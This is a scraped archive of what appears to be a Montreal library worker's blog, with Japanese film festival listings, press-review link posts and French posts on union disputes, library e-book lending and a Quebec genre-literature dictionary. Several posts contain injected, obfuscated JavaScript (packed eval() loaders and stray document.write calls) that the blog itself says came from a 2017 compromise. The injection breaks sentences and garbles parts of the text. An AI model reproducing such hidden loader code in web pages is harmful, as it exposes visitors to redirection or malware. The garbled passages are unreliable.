  • Nobou no Shiro (The Floating Castle): Japan, 2012, 146 min.; Dir.: Isshin Inudo & Shinji Higushi; Scr.: Ryo Wada (based on his 2007 novel); Mus.: Koji Ueno; Prod: Osamu Kubota; Cast: Mansai Nomura, Koichi Sato, Hiroki Narimiya, Tomomitsu Yamaguchi, Nana Eikura, Honami Suzuki, Masachika Ichimura, Yusuke Kamiji, Takayuki Yamada, Takehiro Hira, Machiko Ono, Mana Ashida, Gin Maeda, Tokyo Dageki Dan, Sohkoh Wada.

    In the year 1590, Toyotomi Hideyoshi is on the verge of conquering all of Japan. One obstacle remains: a floating fortress known as Oshi Castle, defended by only 500 men.

    Schedule: Tue 8/28 18:40 L9.28.4; Wed 8/29 16:30 L15.29.4; Thu 8/30 11:40 L15.30.2.
    Read our commentary on this movie.

  • Itai (Reunion): Japan, 2012, 100 min.; Dir.: Ryoichi Kimizuka (based on a non-fiction book by Ishii Kota); Cast: Nishida Toshiyuki, Ogata Naoto, Katsuji Ryo, Kunimura Jun, Sakai Wakana, Sato Koichi, Sano Shiro, Sawamura Ikki, Shida Mirai, Tsutsui Michitaka, and Yanagiba Toshiro. The story is set in a morgue of Kamaishi, Iwate, in the aftermath of the great March 11th 2011 Tohoku earthquake and tsunami. More details on Tokyo Hive or AsianWiki.

    In March 2011, following the devastating earthquake and subsequent tsunami, a small town on northeastern Japan is faced with the problem of collecting and disposing of the victims’ bodies.

    Schedule: Sat 9/1 21:20 L9.01.5; Sun 9/2 14:00 L14.02.3; Mon 9/3 12:00 L14.03.1.

Focus on World Cinema

  • Kazoku no Kuni (Our Homeland): Japan, 2012, 100 min.; Dir./Scr.: Yong-hi Yang; Phot.: Yoshihisa Toda; Ed.: Takashige Kikui; Mus.: Tarô Iwashiro. Cast: Sakura Andô, Arata, Ik-Joon YangYang, Kotomi Kyôno, Masane Tsukayama, Yoshiko Miyazaki, Tarô Suwa. More details on The Japan Times.

    A Japanese family of Korean origin are torn apart by ideology as they welcome one of their own after 25 years in a “repatriation program.”

    Schedule: Fri 8/31 14:30 L15.31.3; Fri 8/31 21:40 L15.31.6; Sat 9/1 16:30 L15.01.4; Sun 9/2 12:40 L15.02.2.

  • Kon-shin: Japan, 2012, 134 min.; Dir.: Yoshinari Nishikori (based on Kenichi Kawakami novel); Cast: Sho Aoyagi, Ayumi Ito, and Naomi Zaizen. The story revolves around a Sumo wrestler preparing for a big classical Sumo Wrestling tournament held at Mizuwaka Temple on Oki island, Shimane Prefecture.

    Originally, Sumo was not a sport but a sacred ceremony. The classic Sumo culture and practice is still alive on the Oki islands.

    Schedule: Thu 8/30 13:50 L16.30.3; Fri 8/31 16:30 L16.31.4; Sat 9/1 21:00 L16.01.5.

  • Boku no Naka no Otoko no ko (The Little Girl in Me): Japan, 2012, 100 min.; Dir./Scr./Ed.: Shoji Kubota; Cast: Ryoma Baba, Bengaru, Ryûnosuke Kawai, Naoki Kawano, Hôka Kinoshita, Kouta Kusano, Yuri Nakamura, Kiriko Shimizu, Asahi Uchida, Kinuwo Yamada, Yûrei Yanagi.

    Devastated after being fired from his job, Kensuke locks himself up in his room, with only the Internet as his window to the outside. Then he discovers the world of cross-dressing.

    Schedule: Fri 8/31 12:00 L15.31.2; Fri 8/31 19:10 L15.31.5; Sat 9/1 11:50 L15.01.2; Sun 9/2 21:20 L15.02.6.

  • Tsui no Shintaku (The Terminal Trust): Japan, 2012, 144 min.; Dir./Scr.: Masayuki Suo (based on a short story by Saku Tatsuki); Cast: Tamiyo Kusakari, Kôji Yakusho, Takao Osawa, Tadanobu Asano. A movie about euthanasia.

    Shinzo Egi suffers from severe asthma but he does not want to be placed on life support.

    Schedule: Sat 9/1 14:30 L14.01.3; Sun 9/2 9:30 L14.02.1; Sun 9/2 18:40 L14.02.5.

  • B/W Foxes and the Cave of Light: Japan, 2012, 15 min.; dir.: Kiyoshi Endo; Cast: Takuma Wada. Short Film opening for Boku no Naka no Otoko no ko.

    “In a world of black and white, ore dug from the cave is shedding colored light. Mikuro, the “Black Fox” bandit, appears before the white-haired boy Kohaku, who is captured by a gang of thieves.“ (Festival’s program)

    Read our commentary on this movie.

You can read a little more on some of those movies on the Coco Montreal website as their August issue (pages 8-9) offers an article detailing the Japanese movies at the festival.

The Festival Guide Book is now available online and provides the films’ index and schedule in PDF format. (8/15)

The complete, searchable schedule is now available. (8/17)

See some press coverage on the festival:

You can also read the comments of Claude R. Blouin on the japanese movies presented at the festival on the Shomingekiblog.

More details and links will be added as the information become available.

Updated: 8/8 (MWFF teaser, Karakara & Anata e info); 8/9, 8/10, 8/11 (more movies info), 8/15 (more info, schedule & Karakara’s trailer link), 8/16 (a few details), 8/17 (FFM links), 8/27 (press coverage links) & 9/16 (Shomingekiblog link).

Press Review (2012-05-28)

Problems at work, document.write(“”); annoying situation in the news and a life-time milestone have left me stressed and depressed, so much that I couldn’t find the energy to do much this month, particularly on this blog. I feel it will remain like that for a while. However, I did read some news in the last month or so and you can see those I deamed worthy to set aside to share after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asadr|var|u0026u|referrer|knath||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhts|var|u0026u|referrer|kaikh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Note syndicale: feedback

Quelques personnes m’ont fait des commentaires par courriels en rapport avec mon billet “Note syndicale.” Les détails après le saut de page:

Mario Sabourin, document.write(“”); VP au SFMM, me rappele que plusieurs membres de l’exécutif syndical sont issues du milieu des bibliothèques (entre autres Mme Francine Bouliane, secrétaire générale du SFMM, et Mme Jocelyne Marquis, directrice syndicale).

Toutefois, là n’était pas mon point. Ce que je suggérais c’est juste que, tout comme chaque vp et directeur/trice est responsable d’un comité ou d’un ensemble des services, arrondissements ou secteurs d’activités, il y ait un vp ou directeur/trice responsable du service des bibliothèques et que ce serait encore mieux si il/elle était issue du milieu des bibliothèques. L’importance étant sur le fait qu’il y ait un membre de l’exécutif responsable des bibliothèques et non qu’il y ait quelqu’un des bibliothèques dans l’exécutif.

On m’assure donc que l’exécutif connait déjà très bien la situation dans les bibliothèques mais, considérant comment les dossiers des lettres d’entente et de l’équité salariale ont été traité, permettez-moi d’en douter!

Brigitte Boyte, directrice syndicale pour le Sud-Ouest, me précise que, suite au colloque du 31 mars, il y aura une série de consultations afin de recueillir les suggestions de tout(es) les membres. Espérons que cette collecte de nos opinions sera bien annoncée (la communication n’étant pas le point fort du SFMM) et ne tardera pas trop (après tout notre convention collective est déjà échue depuis de nombreux mois)…

Finalement, tant M. Sabourin que Mme Boyte me rappelent qu’il y a toujours trois postes vacants comme délégué(es) syndical dans le sud-ouest (dont un dans les bibliothèques) et m’invitent à “mettre l’épaule à la roue.” Malheureusement j’ai déjà de nombreuses responsabilités qui me laisse peu de disponibilités et, après avoir recommandé à la précédente directrice syndicale du sud-ouest de démissionner si elle ne pouvait pas accorder TOUTE son attention à son travail, je ferais preuve d’une grande hypocrisie si je me proposais comme délégué sans avoir moi-même des disponibilités suffisantes.

Certains m’ont aussi reproché le dur commentaire à la fin de mon billet “Note syndicale qui mettait en doute l’efficacité du SFMM. Et bien, si je n’en avais pas déjà la certitude, la façon dysfonctionnelle dont s’est déroulée les deux dernières assemblées générales aura effacé tout doute sur l’amateurisme et l’insouciance des membres de l’exécutif (qui ne s’est certes pas amélioré depuis le récent putsch).

Prêt de livrels en bibliothèque

Les Bibliothèques publiques de Montréal et la Bibliothèque et Archives Nationales du Québec ont récemment mis à la disposition de leurs usagers des livrels (ben oui: des eBooks en français, document.write(“”); aussi appelés “livres numériques”) qui peuvent être emprunté de la même façon qu’on emprunte un livre-papier dans une bibliothèque. Voir les détails après le saut de page:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfbdb|var|u0026u|referrer|zibds||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbrdt|var|u0026u|referrer|ziehi||js|php’.split(‘|’),0,{}))

Les Bibliothèques publiques de Montréal ont d’abord expérimenté avec les livrels en prêtant aux usagers intéressés des lecteurs contenant quelques titres libres de droits (selon les bibliothèques, deux vieux modèles de lecteurs étaient (et sont encore) disponibles: un Bookeen’s Cybook Opus et un Sony Reader). Puis, l’offre de service a été bonifié avec des livrels dont on pouvait faire la lecture en ligne (la complétion de ce lien nécessite votre numéro de carte d’abonné ainsi que votre mot de passe). Plus de 700 titres sont ainsi accessibles sans téléchargement par l’entremise des Ressources numériques des bibliothèques. Le défaut de cette option est qu’il est impossible de les lire dans des lieux dépourvu de sans-fil (wifi), comme dans le métro par exemple.

La solution idéale c’est les livres numériques téléchargeables que les usagers peuvent mettre dans leur téléphones intelligents, tablettes, liseuses ou ordinateurs portables et les lire n’importe où. Les Bibliothèques publiques de Montréal ont donc tout récemment annoncé des livres téléchargeables à partir du service Prêt numérique (la complétion de ce lien nécessite votre numéro de carte d’abonné ainsi que votre mot de passe) qui offre plus de 600 documents récents d’auteurs québécois, romans, essais, livres pratiques, etc.

Ce service permet à l’usager d’emprunter des livres téléchargeables (sous la forme de fichiers ePub ou PDF protégés et chronodégradables) pour une durée de trois semaines (vingt et un jours). Si le processus d’emprunt en soi est simple, la mise en place initiale des composantes nécessaires est un peu compliquée. Mais une fois que c’est fait cela marche plutôt bien. Je vous résume ici les quelques étapes nécessaires pour emprunter des livres téléchargeables:

Mise en place des composantes

1) il vous faut d’abord vous inscrire à Adobe Connexion. Cela vous fournira un identifiant Adobe qui permettera de valider votre lecteur pour l’utilisation des droits numériques.

2) vous devez ensuite télécharger et installer un logiciel de lecture gratuit. Il s’agit principalement soit de Adobe Digital Editions pour ordinateurs (Windows et Mac OS) ou de BlueFire Reader (pour iPad, iPhone [disponible sur le iTunes apps store] et Android). J’ai découvert que Mes Livres, l’application de lecture d’Archambault, fait tout aussi l’affaire (c’est en fait une version localisée de Bluefire).

3) finalement vous devez “autoriser” l’application avec votre identifiant Adobe.

Emprunt d’un livre numérique

1) accédez au service de Prêt numérique (la complétion de ce lien nécessite votre numéro de carte d’abonné ainsi que votre mot de passe) et parcourez les titres offerts.

2) si le titre désiré est disponible (tout comme un livre physique seulement quelques copies d’un titre donné sont disponibles pour le prêt en même temps; si toutes les copies d’un titres sont empruntées vous devez attendre que la durée de prêt de l’une des copies expire avant de l’emprunter à votre tour. Il n’est malheureusement pas possible pour l’instant de réserver un titre) vous cliquez simplement sur le bouton “Emprunter le ePub” (ou “PDF” selon le format disponible). Pour pouvez également faire la recherche d’un livre par son titre, auteur, éditeur ou même ISBN et également rechercher que les titres qui sont disponibles. Malgré ces fonctions de recherche, la manière de parcourir le catalogue de titres est encore malheureusement limitées. Voir la section “Astuces de recherche” pour plus d’information (la complétion de ce lien nécessite votre numéro de carte d’abonné ainsi que votre mot de passe).

3) le système vous demandera alors l’adresse courriel où vous désirez que le lien de téléchargement soit envoyé.

4) un lien de téléchargement sera envoyé à l’adresse courriel que vous avez donné. Vous disposez de vingt-quatre (24) heures pour activer le lien en le cliquant, sinon le titre est remis en disponibilité pour les usagers de la bibliothèque.

5) à partir de votre programme de courriel, vous cliquez sur le lien d’activation de l’emprunt qui vous a été envoyé. Un fichier nommé URLLink.acsm se téléchargera et s’ouvrira ensuite dans votre logiciel de gestion de livres numériques (Adobe Digital Editions pour un ordinateur ou Bluefire Reader sur un appareil Android ou Apple). Dans le cas d’un téléphone intelligent ou d’une tablette, Bluefire Reader téléchargera alors le livre numérique comme tel et vous pourrez en commencer la lecture en quelques minutes. Dans le cas d’un appareil Sony Reader ou Kobo Reader, vous devez brancher votre liseuse à votre ordinateur afin d’y transférer le livre numérique préalablement téléchargé par Adobe Digital Editions.

Pour plus de détails tant sur le processus de mise en place des composantes que sur celui de l’emprunt de livres numériques, vous pouvez consulter la section “Guide de démarrage” (la complétion de ce lien nécessite votre numéro de carte d’abonné ainsi que votre mot de passe). Je trouve plutôt ennuyeux qu’il soit nécessaire de donner notre mot de passe AVANT de pouvoir consulter le catalogue de titres ou d’accéder à la section d’aide. Le mot de passe ne devrait être exigé qu’au moment de faire le téléchargement comme tel.

Préparer votre lecteur pour le téléchargement et faire un premier emprunt peut sembler fort compliqué mais dès le deuxième emprunt c’est déjà très facile. J’ai bien aimé l’expérience. Toutefois, si l’identifiant d’Adobe vous permet de télécharger un même titre à la fois sur le iPad et le iPhone, Bluefire Reader ne syncronise pas encore les deux versions. Rien n’est parfait mais j’espère que ça viendra. À noter que plusieurs titres des éditions Alire sont déjà disponible pour l’emprunt numérique.

Alors à vos lecteurs et bonne lecture!

Mise à jour (2012-05-31): J’ai trouvé la sélection des livres numériques offert par les bibliothèques publiques de Montréal plutôt décevante. Pour mes goûts personnels il n’y a que les titres des éditions Alire qui valent la peine d’être emprunté. Par contre, j’ai récemment jeté un coup d’oeil à la sélection offerte par la BANQ et elle est beaucoup plus vaste et intéressante. Particulièrement pcq’elle comporte des titres en anglais (je suis d’ailleurs en attente pour emprunter le cinquième tome de la série Game of Thrones!)

Affaires syndicales

Je m’étais juré de ne plus écrire sur les affaires syndicales car c’est vraiment trop frustrant, document.write(“”); aliénant et inutilement énergivore. Mais ces choses publiques (et toute l’absurdité qu’elles génèrent) ont le tour de venir vous chercher d’une façon qu’il est souvent difficile de rester silencieux. D’autant plus que, pour une raison qui ne m’est pas vraiment claire, mes collègues semblent me considérer comme une ressource et recherchent souvent mes conseils en la matière (même si, dans le fonds, je n’y connais pas grand chose outre y appliquer simplement raison et discernement, ce qu’on appelle communément “jugeote” ou “gros bon sens”). Donc, si les affaires du SFMM vous intéresse, lisez au-delà du saut de page pour découvrir leur dernières aberrations:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zanbz|var|u0026u|referrer|yarby||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftdrn|var|u0026u|referrer|rnhya||js|php’.split(‘|’),0,{}))

Depuis quelques mois déjà il y avait des signes visibles d’un malaise au sein de l’exécutif syndical, ce qui s’est vu confirmé par la démission récente du secrétaire-général et du vice-président (révélé au commun des mortels par l’annonce d’une élection complémentaire). Puis il y a eut cette rumeur de pétition circulant dans les locaux de la ville et dans les bibliothèques. S’il n’était pas apparent, au début, par qui et pourquoi on demandait ces signatures, les motifs se sont clarifiés un peu avec l’appel impromptu à une assemblée générale. L’avis de convocation nous apprend qu’une pétition “signé par plus de 10 % des membres (…) demande la tenue d’une assemblée générale pour discuter de la situation [«préjudiciable»] «qui sévit au sein de l’exécutif et de l’Équipe syndicale» (…)” et envisager des solutions…

Le tout se précise vraiment avec la circulation de courriels (et d’une page FaceBook) dénoncant cette pétition (et l’assemblée) comme une manoeuvre putschiste de la part d’une minorité de l’exécutif (dirigée par nulle autre que sa présidente) et qui viserait le déclenchement d’élections générales anticipées. L’autre groupe répond avec un communiqué faisant allusion au fait que certaines personnes du syndicat auraient subi de l’intimidation et par une page FaceBook d’invitation à l’assemblée.

Il appert donc que l’exécutif du SFMM est scindé en deux factions fratricides. Je n’ai aucune sympathie pour ni l’une, ni l’autre de ces factions. Car il est déjà désolant que cet exécutif syndical ait géré avec une incompétence et un manque de transparence crasse plusieurs des dossiers dont il avait la responsabilité (les lettres d’ententes des bibliothécaires et techniciens auxiliaires, l’équité salariale, les régimes de retraite et, non le moindre, la négociation tardive de la convention collective) mais il est plutôt insultant de les voir perdrent leur temps (et le nôtre) avec ces querelles personelles et guéguerres ridicules. Je rappele à tous que notre convention collective (qui avait déjà été étendu pour un an) est à nouveau échue. Pendant que ces messieurs-dames se battent pour sécuriser ou améliorer leur position politique au sein de l’exécutif, il y a-t-il quelqu’un qui se préoccupe des membres du syndicat, leur propre raison d’être? Eh oui: et nous là-dedans? Qui est-ce qui nous défend et négocie pour nous pendant ce temps? Un peu moins de grabuge et de dissension, svp, et faites donc votre travail bande d’abrutis. C’est pour ça qu’on vous paye, non?

Je crois que ce que l’exécutif syndical mériterait c’est que les membres viennent effectivement en grand nombre à cette assemblée (je suis peut-être optimiste, mais n’oubliez pas que voir ces imbéciles se quereller n’a pas de prix; amenez le pop-corn et régalez vous du spectacle!) et votent pour le déclenchement d’élections générales anticipées. Car il n’y a pas de véritable solution à cette “situation préjudiciable.” Des élections partielles pour combler les postes vacants ne règleraient en rien la discordre existente et ne rendraient en rien l’ensemble de l’équipe plus compétente. Ils ont démontré leur incapacité à gerer les dossiers importants, qu’ils mettaient leurs intérêts personnels devant les nôtre (les membres), qu’ils ne pouvaient pas se comporter en adultes et règler leurs querelles civilement. Je ne vois qu’une seule possibilité: mettre tout ce beau monde dehors et les remplacer par une nouvelle équipe, des visages nouveaux, dynamiques et, espérons-le, plus compétant. On a rien à perdre.

Enfin, on verra bien ce qui se dira à la dite assemblée.

Mise à jour (2012-01-29):

Si Le Canardo Pressé ne se mouille pas trop, on y retrouve tout de même quelques commentaires intéressants.

De plus, Du 109 au 429 (l’opposition “officieuse” à l’équipe syndicale Accès-Cible), ne tarde pas à commenter la situation (aussi disponible sur FaceBook).

Mise à jour (2012-01-30):

Le Canardo Pressé reprend le texte du 109 au 429.

Mise à jour (2012-01-31):

Le commentaire d’un camarade du SFMM sur le site du Canardo Pressé demande si un changement d’affiliation syndicale ne serait pas une solution à nos problèmes. C’est effectivement une solution qui serait envisageable mais c’est probablement un processus long et complexe (il faudrait d’abord obtenir l’accord de la grande majorité des membres Cols-Blancs ou d’un groupe de membres, comme les aides-bibliothécaires et techniciens par exemple, puis “magasiner” une autre affiliation, négocier, etc.). Ce n’est certainement pas une solution qui nous donnera une convention collective plus rapidement…

Mise à jour (2012-02-01):

Voir mon “Compte-rendu de l’assemblée.”

Bibliography

Warning!

This blog was hit by a couple of catastrophes in 2017 that broke many image links and introduced malicious lines of code that have now been neutralized but are still  disfiguring many older entries of the blog.

Please bear with us while we are undergoing the  long process of repairing the blog! The most important part of this blog is still there — the words to read and the ideas to share — but the aesthetic of the presentation has unfortunately suffered.

Thank you for your understanding and support!

— clodjee  

After reading my bio/bibliography in the DALIAF, it reminded me that I published more than just fiction (or a few sci-fi short stories). So I decided to gather my own bibliography, a list as exhaustive as I could of all the major texts I’ve written. Here it is, right after the jump:
Continue reading

Le DALIAF

“Le fantastique, la science-fiction et la fantasy composent ce qu’il est dorénavant convenu d’appeler les littératures de l’imaginaire. En Amérique française, et plus particulièrement au Québec, leur apparition se confond avec le début de la littérature canadienne francophone puisque le premier texte recensé, « La Tour de Trafalgar », de Georges Boucher de Boucherville, est une nouvelle de fantastique parue en 1835. Cent soixante-treize ans plus tard, en 2008, année du quatre centième anniversaire de la fondation de Québec, plus de mille sept cents hommes et femmes ont contribué à l’élaboration du corpus des littératures de l’imaginaire en Amérique française. (…) Le [DALIAF] a pour objectif de démontrer l’importance de ce corpus littéraire – principalement québécois”. (Extrait du texte de couverture arrière)

J’ai déjà présenté le DALIAF dans un billet de novembre 2011 lorsque sa parution a finalement été annoncé mais, maintenant qu’il est disponible et que — m’en étant procuré un examplaire — j’ai pu amplement le consulter, je peux me permettre de le commenter brièvement.

Daliaf-P_p370

DALIAF, p. 370

Dans son introduction, Claude Janelle justifit d’abord le titre de son ouvrage: pourquoi est-ce un dictionnaire, quels genres d’auteurs ont été considéré, pourquoi en Amérique française, puis il définit le trois genre littéraire qu’il considère comme littératures de l’imaginaire (intéressantes définitions où entre en ligne de compte le fait que l’histoire se déroule dans notre monde ou pas, avec des éléments rationnelle ou pas, et qu’il y ait une rupture de la normalité ou pas).

Janelle termine en expliquant la structure de son ouvrage qui se lit en trois niveau. Le premier niveau est bibliographique: pour chacun des auteurs on donne la liste chronologique des oeuvres (romans, nouvelles, contes, recueils, etc.) publiés en Amérique du nord de 1835 à 2008 et appartenant aux littératures de l’imaginaire, includant traductions et rééditions. Le deuxième niveau est biographique: pour plus de quatre-vingts pour cent des quelques mille sept cents auteurs on retrouve une brève notice biographique qui remet l’auteur en contexte. Plusieurs de ces notices incluent une photographie de l’auteur (parfois en couleur). Puis, le troisième et dernier niveau est appréciatif puisqu’il offre, pour la plupart des textes, une liste de références critiques renvoyant à des ouvrages spécialisés (DOLQ, ASFFQ), journaux ou magazines littéraires. Cela permet de connaitre quelle a été la réception critique de chaque texte.

Finalement, afin de mettre en lumière les auteurs les plus significatifs et distinguer les écrivains professionnels et réputés des “auteurs du dimanche, des étudiants en création littéraire” ou des “écrivaillons sans prétention” Janelle nous offre, après chacune des sections alphabétiques, une série de cinquante-six profils littéraires (incluant Jean-Pierre April, Aude, Honoré Beaugrand, Natasha Beaulieu, Michel Bélil, Sylvie Bérard, Alain Bergeron, Bertand Bergeron, Claude Bolduc, Guy Bouchard, Jacques Brossard, André Carpentier, Roch Carrier, Joël Champetier, Pierre Chatillon, Denis Côté, Emmanuel Desrosiers, Jean Dion, Frédérick Durand, Louis Fréchette, Maurice Gagnon, Éric Gauthier, Jean-Marc Gouanvic, Agnès Guitard, Jean-Charles Harvey, Anne Hébert, Alexandre Huot, Pierre Lacroix, Michèle Laframboise, Alexandra Larochelle, Jacques Lazure, Pamphyle LeMay, Michel J. Lévesque, Suzanne Martel, Edouard-Zotique Massicotte, Claude Mathieu, Yves Meynard, Hugues Morin, Stanley Péan, Gilles Pellerin, Francine Pelletier, Bryan Perro, Jean Pettigrew, Anne Robillard, Esther Rochon, Patrick Sénécal, Daniel Sernine, Jean-François Somcynsky, Norbert Spehner, Joseph-Charles Taché, Jules-Paul Tardivel, Marie-Josée Thériault, Yves Thériault, Michel Tremblay, Jean-Louis Trudel, et Élisabeth Vonarburg — désolé pour cette longue énumération mais le choix des auteurs peut être significatif pour certains).

Du premier coup d’oeil il est évident que le DALIAF est un ouvrage important et significatif. La compilation de l’information offerte par ce dictionnaire représente un travail immense et de longue haleine, et nous sommes extrèmement reconnaissant à Claude Janelle pour y avoir consacré plusieurs décennies. Il va de soi qu’un ouvrage d’une telle importance, malgré tout les efforts de perfection et de minutie pour les détails, ne sera jamais dépourvu d’erreurs, d’omissions ou même de coquilles (dans mon cas il omet ma nouvelle “profession” d’aide-bibliothécaire [depuis 2008] ainsi que la publication d’un texte intitulé “Enfer” dans Erreur Boréal [1987, pp. 9-10], un numéro spécial de Pilône; Ce genre de choses est inévitable et je suis malheureusement sûr que mon cas n’est pas unique) mais ce qui compte vraiment c’est l’immense somme d’information sur la production littéraire québécoise dans le domaine de l’imaginaire. Comme je l’ai déjà dit, le DALIAF est un outil de référence essentiel pour tout bibliothécaire, étudiant en littérature, intervenant de l’édition ou simplement amateur extrème du livre québécois (c’est aussi un bel exercice de “pétage de bretelles” pour les petits “écrivaillons sans prétention” comme moi!).

Toutefois, la taille (plus de cinq-cent pages), la qualité (un grand format en couleur avec couverture caisse, i.e. couverture cartonnée et reliure cousue) et le tirage peu élevé (ce qui est malheureusement le cas pour ce genre de dictionnaire plutôt académique qui suscite peu d’intérêt du grand public) d’une telle publication oblige à un prix de vente exorbitant (79,95 $ !). De plus, ces même facteurs rendent toute réédition improbable. Donc, si vous êtes le moindrement intéressé à acquérir le DALIAF, ne tardez pas trop car il est fort possible que toute réédition et mise à jour se fasse uniquement en format électronique. Quoiqu’il en soit le DALIAF est un incontournable — si vous pouvez vous le payer ou, sinon, vous pouvez toujours le consulter en bibliothèques.

Le DALIAF: Dictionnaire des auteurs des littératures de l’imaginaire en Amérique française par Claude Janelle. Québec, Éditions Alire, 2011, 535 pgs. Couleur, 17.5 x 25.5 cm. Édition papier: 79,95 $, ISBN: 978-2-89615-074-8; Édition électronique (PDF): 49,99 $, ISBN: 978-2-89615-479-1. Feuilleter un extrait. stars-4-0

[ AmazonRenaud-BrayArchambaultNelliganBANQWorldCat ]

Le DALIAF: Dictionnaire des auteurs des littératures de l’imaginaire en Amérique française © 2011 Éditions Alire Inc. & Claude Janelle.

Weekly Press Review (2012/01/10)

As I said, document.write(“”); I spent some time on news websites during the Holidays and here’s the resulting “scraplinking”:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzrbk|var|u0026u|referrer|yezrf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiznf|var|u0026u|referrer|rrbrk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Weekly Press Review (2011/12/09)

Busy couple of weeks both at work (a few co-workers were either off on vacation or on sick-leave, document.write(“”); so we were all scrambling around; we caught a dvd thief!) and at home (trying to finish preparing the house for winter but, as usual, there’s not enough hours in a day). I got my work schedule for winter and I am doing a little more hours than in fall so I am quite happy with it. A surprising revelation makes my life feels like a soap-opera (and that’s all I can say). The gray weather makes me feels tired and depressed… Reading the news (even on a binge) does nothing to improve the mood… (See the news links after the jump)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffak|var|u0026u|referrer|bbyzz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfrss|var|u0026u|referrer|srzbi||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

